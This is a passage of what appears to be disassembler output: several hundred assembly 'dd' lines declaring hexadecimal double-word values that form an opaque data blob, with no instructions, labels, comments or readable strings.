		dd 0B89068h, 0B6A9E3EDh, 7223CC4Ch, 8114CA17h, 12B5C200h
		dd 1E56A6h, 53346618h, 823AB4D1h, 0EA720700h, 8FCCB9D2h
		dd 0B27A1855h, 793908D3h, 2800E276h, 11BB7566h,	0C9465B0h
		dd 175E224Eh, 8B00CA70h, 7D4AC0A6h, 0D2D6DCh, 6849986Fh
		dd 626C90F8h, 7ECE706h,	0E0F0D75Dh, 0EF2603E2h,	0EB9705E4h
		dd 0EEEC691Eh, 0D898FD99h, 0F8942880h, 83ED76C4h, 60C7BFFCh
		dd 0F767CEBAh, 385286Ch, 790D68B4h, 4900DD21h, 9210565Dh
		dd 0C1B9420h, 0DEA33DE9h, 19066952h, 4B9CD02h, 0FF5500B8h
		dd 75D1FCB1h, 2C008517h, 0E5FADCD9h, 605A9605h,	40D25059h
		dd 19166369h, 40E1EA1h,	0FB4753A9h, 4E97F506h, 362680CEh
		dd 1AB1504h, 0C2016E30h, 0E45629EFh, 0DD00C01Ah, 75A035B2h
		dd 0C0063B41h, 0EF806A29h, 0D90387EDh, 0C98F374Eh, 76B2A14Fh
		dd 88442080h, 36FE67EFh, 24771FB8h, 320A18C0h, 0E0ECE4h
		dd 0F81CC1D4h, 67B9D7Ah, 52111800h, 7C908E03h, 0AB7507AAh
		dd 6A6230FBh, 7FDA0810h, 6884836h, 72BB0EB6h, 10071135h
		dd 964454A9h, 0B3AE2AB0h, 2C08C64Ah, 8E1E200Bh,	0B7C055B5h
		dd 0F9D4C052h, 0A51B034Fh, 0ADDEF896h, 0A1206804h, 9D030FF2h
		dd 0B906DFFCh, 0BA6116Ch, 0F4CD0A18h, 1A43CF6h,	2745AAC3h
		dd 35298E74h, 6EAEC00Fh, 750714E6h, 0C108CCF6h,	43009821h
		dd 7D9CAD74h, 1BE722B1h, 48DC115Ah, 80DD5841h, 3CEA6C58h
		dd 36D41Bh, 0F29AB8A6h,	5751878h, 0B7E9800Bh, 0B15680F7h
		dd 57C9D3h, 3E63360Ch, 0CC085B69h, 7E1E90E8h, 53401945h
		dd 0C41DE8C2h, 74A0018h, 0A2E6B4F0h, 9500D10Bh,	3529666Ch
		dd 38D07E80h, 0B681C031h, 0F3653C62h, 0C70880E9h, 0F77E818Bh
		dd 56C100DAh, 41C970ACh, 5BFC83BBh, 0E7FF9B01h,	9EED877Eh
		dd 2035F8D3h, 336C03C0h, 0B9142DCAh, 0B8D02580h, 4D21966Ah
		dd 0A02C6500h, 15C644Fh, 38FE1415h, 0F83CA81Fh,	0D8001E9Ah
		dd 0A7598195h, 69B982F6h, 0B883206Dh, 49139A18h, 4C1B7380h
		dd 746C0C0h, 3D5A0B06h,	0B92CBB74h, 48C6BE9h, 0B683C1F6h
		dd 20C6627Ah, 15C1DB32h, 48C7F50Eh, 56900EAh, 3CA06E0h
		dd 9B6C0BE8h, 0F81F5703h, 0A5CBFE6Ah, 0C0728052h, 1ED82Ch
		dd 0B08F9A2Eh, 56DE8DEDh, 6A814400h, 73DA108Bh,	0A121380Fh
		dd 0AF243780h, 0E359C9FEh, 0AB002FE4h, 3A6CC38Bh, 0F0EF2A2h
		dd 0D265BC6Eh, 0AA493C43h, 20A05898h, 0D1277800h, 6D4A3A8h
		dd 747487h, 1F75AB14h, 0E8CF4955h, 56AAD80Ch, 605A0818h
		dd 7FF20D6h, 9F006C55h,	0F83D786Fh, 6787F60Fh, 90B44141h
		dd 42121997h, 0CD1F7B01h, 0CE202E31h, 917670h, 244DD66Eh
		dd 0C48B93C2h, 0E4D431EDh, 40DCD52Eh, 0EA0015E6h, 4BA97372h
		dd 0B8562C6Ah, 21DE1880h, 0EA0F0617h, 0A1C5F275h, 0A429E15Fh
		dd 724000F3h, 40973FBFh, 9E05570Ch, 7F0BCE8Bh, 4CD61BC0h
		dd 3BE918E6h, 41447820h, 0B7D5AF00h, 0B611A761h, 6DFC006Ch
		dd 0C6D97899h, 0AF60F609h, 4757959h, 11A5609Ch,	19917E4Bh
		dd 19B9243Fh, 9B092CFBh, 866B2180h, 0C293A91h, 0EEC661Ch
		dd 41932706h, 0A39C3088h, 5712F629h, 2611C103h,	80294758h
		dd 0DCB1BEh, 244F97CCh,	0C7E2EE32h, 0B214D00h, 0F60CFB2Fh
		dd 775297Dh, 917F0048h,	7871244Ch, 0D6522086h, 2C6C5Ch
		dd 0A00FA2B1h, 5E196DFh, 6A21F1F0h, 9FAC00DBh, 0F4321657h
		dd 0D9EEC8A0h, 94430B28h, 0FE556D00h, 0F11A6439h, 0A3C2000Dh
		dd 0FF2814E7h, 560F112Ch, 825ED435h, 4031B37Ah,	98E84BD0h
		dd 0F8480E1Dh, 9F209BF7h, 6C021AB5h, 92BA4707h,	93830B5Fh
		dd 0E9400012h, 6A23392Bh, 0F218D91Eh, 8B18586Dh, 7DA00C96h
		dd 51102E48h, 0A5BE7700h, 9D9E44D7h, 55B00023h,	6ABA8422h
		dd 71FD432h, 0F7404C30h, 0D8057B34h, 22E700D6h,	2C337796h
		dd 0B0C05108h, 429C3459h, 0F12A1204h, 1E870728h, 187160AAh
		dd 0BC0D81B7h, 0A8B50AB2h, 0B98010C5h, 7F9BA487h, 1F0CFFA1h
		dd 180F9022h, 7B09008Fh, 0B289AA15h, 3B00F429h,	7CA78B13h
		dd 0F974737h, 3CBA935Ah, 0C1569280h, 0FB036D9Eh, 0CC981739h
		dd 70B4A99Bh, 0E49607C0h, 0F05400D6h, 154167DEh, 0C60F1D9Fh
		dd 314599Bh, 0C0B4BEA3h, 2E34883Ch, 0F58E6Bh, 780231B9h
		dd 0B50F3A39h, 808F5E7Eh, 7B36670Ch, 97F8F2h, 48C6ABA5h
		dd 66C0586Eh, 484AF00h,	51F1F481h, 0B4BD34EBh, 79D9C121h
		dd 6040B3AFh, 7073C8CDh, 9B880C65h, 477E9322h, 40C6FE30h
		dd 30985A0Ch, 0F7180D6Ah
		dd 2900E5EFh, 0F3FAC0C1h, 0C0ABF479h, 7352C729h, 0C3005DE7h
		dd 0CFE5F953h, 0C2ECF88Ch, 733AE821h, 49450460h, 785C4E06h
		dd 0F2581A32h, 0E7C51160h, 596867C8h, 25B106Ch,	148884Fh
		dd 1DE03739h, 970E0E57h, 209AF42Dh, 2EAE61D3h, 0DEBA0EE7h
		dd 0C880DB81h, 0B6234694h, 79200A00h, 360D5361h, 0B14D0029h
		dd 461C95BAh, 0F9009DE1h, 816AA14h, 0E696E2A3h,	758D0086h
		dd 427F7719h, 990031C3h, 4C1498D1h, 60B3C7h, 0C5E30F1Ch
		dd 77437582h, 5FB4C400h, 6C6EA59h, 0D40A0070h, 0BE52CF9Bh
		dd 4878C5A7h, 0F62F4407h, 0C88025D8h, 1A2975h, 3E96C681h
		dd 0D6219D39h, 2DD32E00h, 6E59CA26h, 0AD820035h, 366B372Fh
		dd 3B07711Eh, 55516FA9h, 683D2A90h, 612000FEh, 0BDFA9850h
		dd 7339C343h, 82AC3EF4h, 264C4237h, 0C406C070h,	997181h
		dd 5F7DB456h, 8C82BA3Bh, 6D4F6000h, 5737E936h, 5DDE2494h
		dd 46830161h, 0F97D9A78h, 3186F4DBh, 0FDC56218h, 500FCD90h
		dd 0EECAEEFh, 3FE5E13Eh, 68C6A320h, 0B200EDE3h,	0D9C5E87Ch
		dd 0E22FE0FFh, 0EA393ED5h, 0AFB42400h, 1DD17DA2h, 994F5700h
		dd 3401C318h, 5940B42h,	6F80A784h, 69306F4Ch, 867B4D00h
		dd 0B6D3AE55h, 0A19E03DCh, 40B4949Ah, 0B2A0D2FBh, 25EE514Fh
		dd 6CCC9B0Fh, 0B695A0FEh, 9610B8h, 3F183748h, 14F63519h
		dd 24770D03h, 24F145C3h, 21C728h, 0D00A2342h, 6300E14Dh
		dd 0AF034951h, 1E686AEh, 0DE3B29EDh, 0CDA9B03Dh, 4C45DCF1h
		dd 81372E3Dh, 8ADAD8FDh, 6AFCF443h, 0A8E1CD5h, 0BFD1000Bh
		dd 119B4DFBh, 33DEC200h, 0DA78F125h, 0CDF003B8h, 0C18ADBF2h
		dd 8593CBE0h, 0B63B0606h, 185EE2h, 62C21D90h, 52EFF2AAh
		dd 0BC583D03h, 0D8E7EBD4h, 0BEED8Eh, 63FB8C5Bh,	596D3F86h
		dd 0F776BC07h, 0DE7736E4h, 43F07EE0h, 0D85015F1h, 0FB408C6Bh
		dd 0D7C32A1Dh, 4FD50080h, 8A2F16ADh, 0FB67CC60h, 0EAD03529h
		dd 375126C5h, 0CF48F79Bh, 44823800h, 3100E8ECh,	95E22AC2h
		dd 3991022h, 0B87C6A1Bh, 3EB86E17h, 0AE005C12h,	18E22E6Ch
		dd 7D6200Eh, 687849BAh,	9A8330A2h, 65189917h, 0B1408C1Ah
		dd 7BCC587Ch, 0EF9E4900h, 38290A84h, 20231230h,	345197h
		dd 0AC3C3EA5h, 982F5BBCh, 0AA827500h, 0AE529C2h, 892A004Eh
		dd 0A0BDA6A1h, 0A9001868h, 7F1BA537h, 0EEA26Bh,	9EFB0A48h
		dd 4FF1CE15h, 5ADE91C0h, 3C61175Dh, 3730D71Ch, 1F1EA030h
		dd 0E1DBCB01h, 9C22FC9Ah, 31D3A121h, 23B0B890h,	0B9EC1007h
		dd 84BC0037h, 82E75C69h, 0DCEDD60Ch, 0A700CC7Dh, 959E7A6Bh
		dd 35BBB1h, 0E95F5A88h,	26166153h, 0A07B327Fh, 3E591200h
		dd 0FE68B8Fh, 8008C015h, 5AAF4A6Fh, 0E4FFDD01h,	0E1A16C25h
		dd 2E0E88F0h, 3E874F05h, 7B3B0F78h, 8B80EB49h, 2DCB9324h
		dd 0F200A0F2h, 1A3D8DDh, 3F6755h, 50A73D53h, 4717E30Eh
		dd 93407E60h, 0F0128D6Fh, 72E214D2h, 6200A421h,	0E41E83DAh
		dd 0E7605766h, 70CB8868h, 35FE072Ah, 0F04B9419h, 2701EB63h
		dd 40E98118h, 877F4F58h, 0F1B0EE83h, 3FA81855h,	0BEE608DBh
		dd 9F642C1Bh, 0C1F4A019h, 1B620712h, 62E1E2C2h,	88808F32h
		dd 7B26ACB5h, 0CFFE00Ch, 1554113h, 930A7D8Ch, 0D0E7B2BFh
		dd 30EE86B7h, 9BB3D200h, 40887F94h, 837900C8h, 0BBEAD7E1h
		dd 2D03F91Eh, 6C0899E7h, 8860055Fh, 4392D27Ch, 45D7DF24h
		dd 69D8F0D7h, 0FB0CE4A2h, 31211114h, 0B9F76043h, 0ED412D79h
		dd 0FE0AF100h, 0B6AC12F3h, 9AA2003Ch, 74DA82B2h, 0F8A08557h
		dd 662213E2h, 1E0D0633h, 0D894C7ACh, 1769F305h,	0E8075754h
		dd 0AF0AA0h, 0BD59E440h, 0F52E05C6h, 80D01B7Dh,	28E1E5Ch
		dd 76B70900h, 98DBBBACh, 0C4A40A9Fh, 8E90F639h,	38E2F0ADh
		dd 0E0C04371h, 670F0930h, 20B80C90h, 9AF603D2h,	0EE6E0198h
		dd 610DC008h, 0A432E084h, 0C8072DE2h, 90CA3BEAh, 765E1540h
		dd 302B48B5h, 4CB71Dh, 61FFE1EBh, 8048212h, 0FEBEF3F4h
		dd 0A2001895h, 30207857h, 285200BBh, 0EE225CE8h, 0BF00E626h
		dd 0B890D79Ah, 12F4F48h, 6E9CDC5Dh, 61C908C7h, 100040BDh
		dd 0CF600F6Dh, 5665C650h, 0D988A135h, 9CF1E8h, 0B1C463BAh
		dd 0B62DD023h, 9DA96100h, 0C6EB93D7h, 7E520CDFh, 3608EC71h
		dd 6B20B160h, 1F193F8h,	7CE53E44h, 0D85B052Eh, 450BE228h
		dd 8206D97Dh, 406F0492h, 7C86D4C9h, 2C170746h, 0C0074C01h
		dd 0B4F1B7A5h, 0CE071BECh, 0FDA9FE10h, 0B8014181h, 7A766370h
		dd 0BEE71FCBh, 12F88CCDh, 0A200A020h, 6AC8B0B8h, 0C643602h
		dd 284D4845h, 611C6961h, 51F06F67h, 488A9893h, 9A07ACECh
		dd 0E091E2A8h, 0FA677187h, 1028B476h, 18C3BD1Ah, 17BD49h
		dd 7AC7938h, 983F3B0Fh,	0AE34CD17h, 0E1AA7001h,	0D0859A75h
		dd 6110B1C6h, 0C3923C9Ch, 0B5CC7E1h, 91C13E00h,	50FAEF82h
		dd 4AA05C01h, 0EBED5D66h, 60C65006h, 510E771h, 0AE1B18A3h
		dd 0F37980FAh, 47006D0Dh, 3A95A817h, 0EA7C7DCh,	0F0947C48h
		dd 830E79A0h, 4A04C53Bh, 0CF8FA8AEh, 0CA05A2C0h, 0C220009Fh
		dd 3F53A6EAh, 0B60098D9h, 0BF7722BAh, 0FF01546h, 0B74E42FEh
		dd 0E2EC8D20h, 0D000411h, 3B126A54h, 0FE0557h, 0E83544CDh
		dd 17769380h, 33C8B200h, 0AC44A47h, 254B009Eh, 49E4E269h
		dd 8307994Eh, 0CC8F3BC9h, 2F07C141h, 25CAF8F3h,	73CE0054h
		dd 0BAA8FAB7h, 24030235h, 4D7D5F6Fh, 793C0C99h,	0F488396h
		dd 0E8979809h, 869900F2h, 3D4E2DDh, 0CCCB1608h,	38D81301h
		dd 0C0F9C190h, 0CA7C7D1Bh, 24B20924h, 32549106h, 4010091h
		dd 0BF7C1BD8h, 8032F8Dh, 7344CBF2h, 0CD24F0C9h,	30617A15h
		dd 2BC1A448h, 4A00D1EEh, 74FBE9A7h, 0A97151h, 5E76F435h
		dd 1755DFA5h, 1E1ECB3Fh, 39F0E4F8h, 0ACDDEEh, 5943D969h
		dd 9BF0603h, 503F8D00h,	0E0F6AAEh, 0FE1E3CFDh, 0FACCEE09h
		dd 0F9B55C80h, 0F33EA2B9h, 9423038Ch, 98E55480h, 0F6CAF052h
		dd 114B67FDh, 0E3A4F2B9h, 0F3062800h, 0BC9200DAh, 0D769D9A3h
		dd 400E105h, 918483B6h,	1932AF1h, 0D16C9E6h, 3094D607h
		dd 8801D028h, 0BFF7EA31h, 35FC3393h, 7FF379BEh,	0D9790081h
		dd 2855830h, 500F07C8h,	8096CDB5h, 0D17A5C94h, 0ECE000DDh
		dd 0F6494C0Bh, 0FF039E08h, 97E2950Fh, 20767Dh, 0A7937047h
		dd 3A8B2541h, 0AC7A4303h, 0C8F2B4B0h, 63044Ch, 6260BBD9h
		dd 1B47EB5Ah, 0C5A8934Ah, 0C9A6E003h, 0E4B82453h, 511EEF9Dh
		dd 790F3963h, 1B401FE6h, 42DE3734h, 683F009Fh, 6326C046h
		dd 0D500A620h, 7648F4C1h, 0D32787h, 0D324DD9h, 7A0BBF79h
		dd 903EBA00h, 6738E0EEh, 0AC4550C1h, 0D92400B0h, 0CA557519h
		dd 0C00602Dh, 0AEBF70BCh, 640122h, 0E6FFB01Dh, 354519EEh
		dd 0E29F2F00h, 508A7690h, 0A1911473h, 0F402D4B8h, 0F6E0CC05h
		dd 0EC868C80h, 0D30F9A8Eh, 223E70h, 90603340h, 0B8B90031h
		dd 0C4FBBF8Bh, 6A12D601h, 46000975h, 0B65F462h,	0A14507C9h
		dd 0E0F6D3D1h, 0C3201DAEh, 0BA1B0D00h, 79CCFB7Eh, 61670710h
		dd 3FD51298h, 18E5DDE0h, 853F546Eh, 0D98406E2h,	0FAE88CDAh
		dd 70BB0251h, 94630E4Ch, 39C0E8AFh, 244E47B3h, 897CEB03h
		dd 0D86EF0BCh, 3F154B7h, 0A4AC005h, 44A88DD1h, 14F2855Ah
		dd 0C24CA600h, 735F22B1h, 15D400F0h, 9C70E7D7h,	0E000AB55h
		dd 6DC3165Bh, 3040E137h, 4266FE28h, 0E4005E91h,	7E081E70h
		dd 3BCDC78Fh, 95001A5Dh
		dd 0CBE3BB4Dh, 40E5E986h, 876655D2h, 21162403h,	0B8E27050h
		dd 8C0D89h, 2CC9FA1Eh, 47B638F3h, 28BB3703h, 33CEA9h, 204DDECEh
		dd 0CFFDB1AAh, 250057FCh, 0E21D9126h, 5C182Ch, 50C984F8h
		dd 6A8EB80h, 148A4702h,	60B09485h, 72DBF27h, 0BEFA72ABh
		dd 39D8E004h, 4E0E6D9Ah, 22223BDh, 837FB086h, 813561A4h
		dd 0CCE8C550h, 0C8A0077h, 31D29162h, 5407FF27h,	0F50788F8h
		dd 0C39C3210h, 35805AEh, 543D41Bh, 0FCB1D0h, 63B87034h
		dd 0D74CDDDFh, 4A6A0013h, 5FBD2286h, 0D42800D3h, 0D0B4DE3Ah
		dd 680E9A4Eh, 0C0B13DF8h, 0F1809125h, 0FD591539h, 0E200FC8Eh
		dd 33C73E55h, 0C260706Ah, 2A684F29h, 2FFF00FEh,	38105441h
		dd 0D51DCB0Fh, 335EBAF5h, 8569DA86h, 477CD0h, 0E7037642h
		dd 0F2951C5Eh, 0E914281Fh, 0A9421C0h, 0D34A57h,	405B4C8Dh
		dd 0C3775961h, 0BBBF9600h, 0E271D049h, 13E844h,	43D9CA3h
		dd 0B4BA2109h, 33A08CB8h, 0E8015373h, 6F80D9C2h, 0B2D8441Eh
		dd 9BB907B4h, 102F2305h, 9E940DDCh, 1B7BEC00h, 3DD251B5h
		dd 29075B2h, 723C6FA5h,	0C8485B77h, 13F059DAh, 0E0099E2h
		dd 0B016D05Eh, 2553519h, 5DB6238Ch, 6260924Dh, 0E002689h
		dd 0B1EB6769h, 0F03FB2h, 0D186874h, 9B610A5h, 0ECBD4B00h
		dd 6F0CD3FDh, 0F722006Eh, 17A59EA4h, 0D2005A5Fh, 0F81901AFh
		dd 116A27h, 0C92F327Dh,	0DDBAA4BCh, 2A1A0F00h, 0F3D1644Fh
		dd 0C3E7035Ah, 0F471EC59h, 0FB07588h, 9F9DEA00h, 0FB1C6486h
		dd 7316000Ch, 0D14EC8E7h, 0B80717ECh, 82370FCAh, 3B3B600h
		dd 0D9720049h, 0DC52509Eh, 5758E6Ch, 471FEAF8h,	2C0A691h
		dd 20D2C901h, 511C0004h, 0AB3B5860h, 0BB0034D0h, 0A7FFEBA5h
		dd 722EAA3h, 5CD2A2AAh,	53E6103Eh, 88012484h, 0A37C49A0h
		dd 0CD40DA83h, 0B9B2EDh, 0B5229305h, 7C4B262Ah,	0CF003E75h
		dd 0DC9CAB46h, 79DB4E1Dh, 154300D8h, 0C202D190h, 8C01620Dh
		dd 3EA19CDEh, 4824BB57h, 0E27C83h, 5E3D7A0Fh, 3E8DEFAAh
		dd 0A2EB5Ch, 8E1AE5D5h,	0D1D6CDh, 93F887CAh, 0AB61A5F9h
		dd 4AE6B00h, 0A0BC24CEh, 98B0E4h, 8F67F360h, 3DA27ED1h
		dd 97981D3Bh, 6C00CF07h, 0F658F029h, 8D3A008Eh,	722D6C4Eh
		dd 0FB60BC03h, 0D6368018h, 0D49D01A0h, 46B8CDD1h, 61BA81CBh
		dd 82C8BCFFh, 0A7162880h, 5AD94D02h, 0DBCD0600h, 80895B47h
		dd 243A0143h, 0FA9BF0DDh, 9A8D70AEh, 0FCAABF00h, 1FE2D845h
		dd 60BBEE37h, 57BCB0DCh, 0F60CC4A3h, 0A16D8A1Ch, 61E30072h
		dd 7E3A20EBh, 8907C394h, 41FDDF91h, 5C162E5h, 1833D96Dh
		dd 0D660131Eh, 716000CAh, 0F4896688h, 8879D01h,	0A49AEACh
		dd 7604C34h, 4F904D7Ah,	9067257Dh, 0B2F06108h, 0BAE0441Eh
		dd 0ED567B03h, 9480B4F4h, 574571h, 0E9E12529h, 0BB7CD60Fh
		dd 60D35B01h, 0BC8E14B3h, 0B643F0h, 2E3253A9h, 229DC4A4h
		dd 68396B73h, 1F5200F7h, 7B3C0AC5h, 0CEE2674h, 10AA00A2h
		dd 0A6CBE434h, 9A886B00h, 0BE399863h, 6E35057Ah, 0D3685628h
		dd 0C800DE84h, 54DC1873h, 78C7E9h, 5CC3DAA9h, 36FBF476h
		dd 22F08103h, 988F101Dh, 33979EFh, 26C644F7h, 34C854EEh
		dd 0A5006ADBh, 66E0FB9Ah, 0F88423A6h, 4DBF0F6Eh, 0F80E1D2Eh
		dd 3D922C60h, 9CA0C813h, 0C376D4BBh, 0F09858h, 382B9DEDh
		dd 7425E031h, 9CC1001Ah, 26ED19Fh, 0F958D4EFh, 0E59D018Eh
		dd 2BC780A4h, 440BBDCh,	0C7DD724h, 0AFCCD15Ch, 1C621Dh
		dd 0BD0B17A7h, 0E012BA57h, 0F25624A9h, 203B4470h, 906177BFh
		dd 1F2DFAA8h, 83C72526h, 0DEA50A32h, 0D86BA001h, 0E0F09399h
		dd 229C1084h, 0A031C6ACh, 44662B0Ah, 0F383FC6Ch, 0F09A58A3h
		dd 6D77299h, 3DE62A05h,	807621E2h, 1B72F00h, 183E8F93h
		dd 0D7BD03AAh, 0B4A5701Ch, 0E40CDAA0h, 8A0C6AF2h, 0A8E3E232h
		dd 778F0237h, 5FE1270h,	0B11DF440h, 90D15C2Ch, 6F29BB03h
		dd 0F910D83Eh, 16280031h, 0DBF548DFh, 5700AEA4h, 2C4C0DABh
		dd 60FA8Ah, 870E2B6Ah, 59CA4BB1h, 0E467EB03h, 0A0AA4D8Bh
		dd 6F707E1h, 5AD7EDDEh,	5800CAE0h, 88C3A41Ah, 1D158751h
		dd 7FE702h, 912DB014h, 7C02C6E3h, 0A48907DBh, 3F14C01Eh
		dd 5F4606E1h, 0E6B45664h, 8EA04512h, 0BFBBCD00h, 43E5A48h
		dd 0A9DAE872h, 7654C0CDh, 3C1736D5h, 4703705h, 2C3853A7h
		dd 0FF89040h, 3FF0753Eh, 80085CD4h, 5737AEEFh, 60A001E4h
		dd 988038EDh, 2506F40Bh, 9DA6A939h, 7756673Bh, 87D9E020h
		dd 0B8A3F6C0h, 6375ACh,	3234E426h, 0B8C86FD7h, 0E8A60303h
		dd 831AD8DFh, 914C005Ch, 7779D357h, 7028B41h, 25B9459h
		dd 8C3860FAh, 2A733C39h, 2798F504h, 0B888D05Ah,	6C5C7BA9h
		dd 5C103F08h, 0CBB82Ch,	83EAB542h, 0DF45045Ch, 29DAF00h
		dd 0B43080Dh, 341D5C66h, 8EC56F80h, 9D02CC5Bh, 97BC3FAh
		dd 1E844BEh, 343AD061h,	34233675h, 0E5008440h, 0E4439FF7h
		dd 0F5D551Dh, 0FB6DFFCFh, 50E99D80h, 410002D4h,	0F62C9360h
		dd 0E270BCh, 0B25A1B01h, 0C0D30A71h, 0FAE03F3Dh, 66BFC400h
		dd 0A631B5CDh, 0B99C0375h, 7C5E5123h, 9B0159A8h, 0B3429403h
		dd 0C04D6FB5h, 141D82h,	7C933AECh, 575F2D02h, 0E2EE2700h
		dd 45241F2Ah, 0C4F0E7h,	3EFCABC7h, 0C35FF519h, 7B725200h
		dd 0EE3D7E1Dh, 0DC614CCBh, 43164500h, 28A2BBE3h, 0DA7FD100h
		dd 2B01A9FAh, 7E600071h, 47B54CC0h, 0BB4C514Fh,	20FE30C8h
		dd 1C5795D6h, 0C0120752h, 0EF35C368h, 0BA12C462h, 3C408B7Eh
		dd 0AE1CB3FAh, 0A87200D7h, 16FB74EBh, 0EE4BB8CAh, 0FA40841Ch
		dd 73234A63h, 432100DDh, 6579B756h, 0CF0E06D9h,	20F29F49h
		dd 0ECC02AD7h, 10FA096Eh, 584ED12Eh, 6338D80h, 93FDC707h
		dd 61708C02h, 0EE6A91B9h, 460700E5h, 0B54AFF78h, 3D125C98h
		dd 7092503Eh, 7F10E80Ch, 0FDCD00CEh, 4065EA6Eh,	0EE09E96Fh
		dd 24F3ED47h, 0F5007C40h, 8262572Eh, 48E4FB12h,	1829AC0Bh
		dd 253D1A88h, 0A01249AAh, 6683686Bh, 3065FDC9h,	0C4762AD4h
		dd 0D9E00F00h, 4802E495h, 49580001h, 0CDEE9790h, 0B90026A1h
		dd 88917FFDh, 1FAA46h, 0E1D4459Eh, 21DC5579h, 467F800h
		dd 0E6339319h, 4A7F0F66h, 3A03764h, 0B75A1E55h,	7EA4F400h
		dd 1F5BE661h, 0CAB050D1h, 125FFCB2h, 1F5537CFh,	0AE5109A1h
		dd 31072580h, 0FA039EFBh, 0C2A218A5h, 0CBCAD837h, 0E8AB0F68h
		dd 0D28734h, 54C3B7A5h,	88245544h, 59003D57h, 95F8CAD5h
		dd 0CEEC00D6h, 5DE6708Eh, 0D7041790h, 4E120A83h, 0F52EE181h
		dd 0C3E7F0h, 0E23576D1h, 902A81CAh, 0E1C91B00h,	1E4A7D8Bh
		dd 58D10067h, 0AD5C9295h, 35288247h, 1400C842h,	0B10270F7h
		dd 8539D5h, 0FB15DF32h,	0E650F147h, 0DBCA2E07h,	0CE70CBC5h
		dd 425402Ah, 72B7D58Bh,	7CCF83FDh, 0E32CE00h, 548E57Ah
		dd 2B440069h, 2A7675F6h, 0FE0364E0h, 21946ABCh,	404DAAAFh
		dd 4F244604h, 60940059h, 0C90A235Ch, 5637D800h,	0CB399B9Fh
		dd 0D621C05Fh, 8CCEBCDCh, 0C5B45C80h, 83D0E11Eh, 0F0F059ACh
		dd 0FB1DBE88h, 9EC0687Dh, 190B5F3Eh, 0C4A90038h, 0D8C6954Eh
		dd 0A11FA50Dh, 794EB880h, 28F6AC85h, 0BF390359h, 0EDA6C6ABh
		dd 3C24A179h, 900F020h,	0F46A5FCCh, 101065B1h, 0AD7CC034h
		dd 0FC01F05Ah, 3567763h, 0B0855585h, 0C0998C0Bh, 0D0D1EA5Ah
		dd 0C4009178h, 945FC66Ch, 0B0AF6407h, 71201668h, 0CC76009Dh
		dd 0EC8ABB55h
		dd 2D19E500h, 2B59ACF1h, 0FB350027h, 0E3EA9D48h, 0EB00C965h
		dd 319452C0h, 0A4FD5Ah,	0CB0B8526h, 8CA9E2CEh, 6A563F00h
		dd 4C87F2A2h, 8FC72C6Eh, 80D800C4h, 51B63D4Eh, 238ECF00h
		dd 542FC319h, 9333008Bh, 5BE0BF9Eh, 0DB6049ECh,	55DC3630h
		dd 1ACC04A7h, 8082A5EAh, 8019CED4h, 0FD3D8B01h,	3BFC22BEh
		dd 0AFB630h, 0C6D33530h, 3A9B798Ch, 4DBE4600h, 139A83EFh
		dd 65CF1E96h, 1E80BD32h, 5437BC87h, 0EA48FF19h,	4E7207C3h
		dd 0D6B0A3C0h, 0A0EB85F5h, 33DFFCh, 9560EA5Bh, 5DA06114h
		dd 0AC548E00h, 0BC35B029h, 38649236h, 1A9E4B3Ch, 90100C9h
		dd 0BE69332Fh, 0A021E46Fh, 0FF4A73B3h, 922200A2h, 0B514370Bh
		dd 910E877Ch, 0B66B32B8h, 8DFADC83h, 0BB0AD8D0h, 0E26F695h
		dd 6270558Bh, 637B7AE0h, 32F2112Fh, 0F7301704h,	8F1E29Eh
		dd 0E9B53A20h, 6A114880h, 54CE7A91h, 0FA94C20Fh, 0B2EF6056h
		dd 0E812ED1Bh, 3D37D4Fh, 57198BD8h, 15A8F72Dh, 100EB46h
		dd 39AD1B7Dh, 0C580C3h,	0D7486891h, 0D8FE459Ah,	0F7594D04h
		dd 88904650h, 0C099819Dh, 0DE6FC8C1h, 3B3C1DF2h, 63B000DFh
		dd 9138AE5Eh, 0F974F6h,	0EE69370Fh, 43E7AA2Ch, 4A27DB75h
		dd 0BBC0008Eh, 3ABB1C6h, 0C3375119h, 0EE9341E6h, 834286A2h
		dd 3381E448h, 0B8305760h, 347A8Eh, 60EF97CBh, 8DFE532Eh
		dd 79C429C0h, 87BAA6h, 8B47AB61h, 80E22C39h, 0F400E77Dh
		dd 0D2DB02AAh, 0EEAEB7D7h, 0FC9DF858h, 0A46E0071h, 0F562C6F2h
		dd 83009203h, 33957452h, 7D8B61EAh, 669017Eh, 0A5973DE4h
		dd 934ED0E7h, 1EA3000h,	8C8079E2h, 0B5A607B8h, 5B6BAD04h
		dd 0D100758Bh, 0F44D9202h, 793528A8h, 0D6697811h, 0BB824988h
		dd 40DF7E8Ch, 3DBC153h,	0BD986281h, 3AC851E3h, 0DA1C31BFh
		dd 0ECC13D67h, 88EABE08h, 0D44C1C8h, 6586D9E9h,	0EBB2E068h
		dd 0E459DE01h, 0FC779E87h, 68400998h, 8000D2C1h, 82A409D3h
		dd 71E95E2h, 6603AAA5h,	31F390F9h, 7800E643h, 0C17FC286h
		dd 0E8C83392h, 633DE2D8h, 0BECA10C0h, 9CBDF9E8h, 0B2C4AE0Ch
		dd 602C08ACh, 769420DEh, 591EA0CFh, 25056630h, 8C001C2Eh
		dd 0EFE038DDh, 6A7B0009h, 0B018C1CFh, 78005F0Fh, 67E42437h
		dd 0C0BF3B3Eh, 18CE2AD8h, 0BB00078Ch, 1C657069h, 2C45B8CFh
		dd 0FD1587h, 0DE0C44F3h, 0D80075A1h, 0FC746E84h, 0BE2024h
		dd 52C88FA5h, 94640B99h, 835BCD00h, 680D88DEh, 0EF77018Ch
		dd 0FFEEE87h, 62904091h, 0BB0E8FCAh, 868A593Ch,	209FF4h
		dd 0E3033499h, 0C9827B85h, 94585500h, 0ECB25E0Dh, 3B789Dh
		dd 734328A4h, 0B135166Dh, 20046F8h, 5B34EE68h, 3CFF98D0h
		dd 9E0080AFh, 68EC1D4h,	0EF197A27h, 0F90818C5h,	0D53E2180h
		dd 0BDB8C4C1h, 80ED283Fh, 1B225505h, 0CACBE8h, 9599B35Ch
		dd 5810CF3Ch, 0FE398160h, 37AD9D4Fh, 0C0B98366h, 0D3C7B533h
		dd 7C038D00h, 91EAED20h, 0F6A17D6Eh, 51BA07CBh,	0AA6B4322h
		dd 0DF670750h, 0F8185CE8h, 8230ECF0h, 0FB60519Dh, 0BE81037Ah
		dd 1AD05A12h, 75A155F3h, 422080D2h, 773D7B13h, 15F8C1B5h
		dd 406C2653h, 74683B94h, 4C00C1F8h, 54769B1Bh, 1C943CDAh
		dd 0C09C3DCFh, 33AECEDBh, 4001EEFh, 83271D68h, 0BFE5E4h
		dd 3902898Eh, 6211035Ch, 0FE3E2E75h, 0CCD30133h, 272FB1E5h
